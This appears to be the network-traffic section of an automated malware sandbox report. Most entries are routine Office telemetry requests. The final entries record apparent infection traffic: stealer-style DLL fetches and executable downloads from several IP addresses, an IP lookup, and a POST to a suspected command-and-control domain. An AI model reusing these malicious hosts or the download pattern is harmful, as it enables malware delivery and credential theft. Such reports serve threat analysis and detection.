Source: global traffic	HTTP traffic detected: GET /rules/rule702900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703601v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703600v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703851v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703850v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703801v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703800v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703701v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703700v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703751v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703750v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704051v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704050v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703951v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703950v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700001v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700000v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703051v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703050v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703551v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Accept: text/html; text/plain; /Host: api.ipify.orgCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /rules/rule702101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703550v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704001v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704000v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703301v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703300v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120128v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120603v8s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120607v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230104v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230162v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230157v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230158v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230164v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230165v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230166v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230168v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230167v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230169v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230170v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230171v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230173v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230172v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230174v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120119v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704101v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704100v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/freebl3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/mozglue.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/msvcp140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/nss3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/softokn3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Host: 185.215.113.16Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /files/6946140361/Ed7zZr4.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /well/random.exe HTTP/1.1Host: 185.215.113.16

Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: ogs.google.com
Source: global traffic	DNS traffic detected: DNS query: apis.google.com
Source: global traffic	DNS traffic detected: DNS query: play.google.com
Source: global traffic	DNS traffic detected: DNS query: api.ipify.org
Source: global traffic	DNS traffic detected: DNS query: atten-supporse.biz

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: atten-supporse.biz

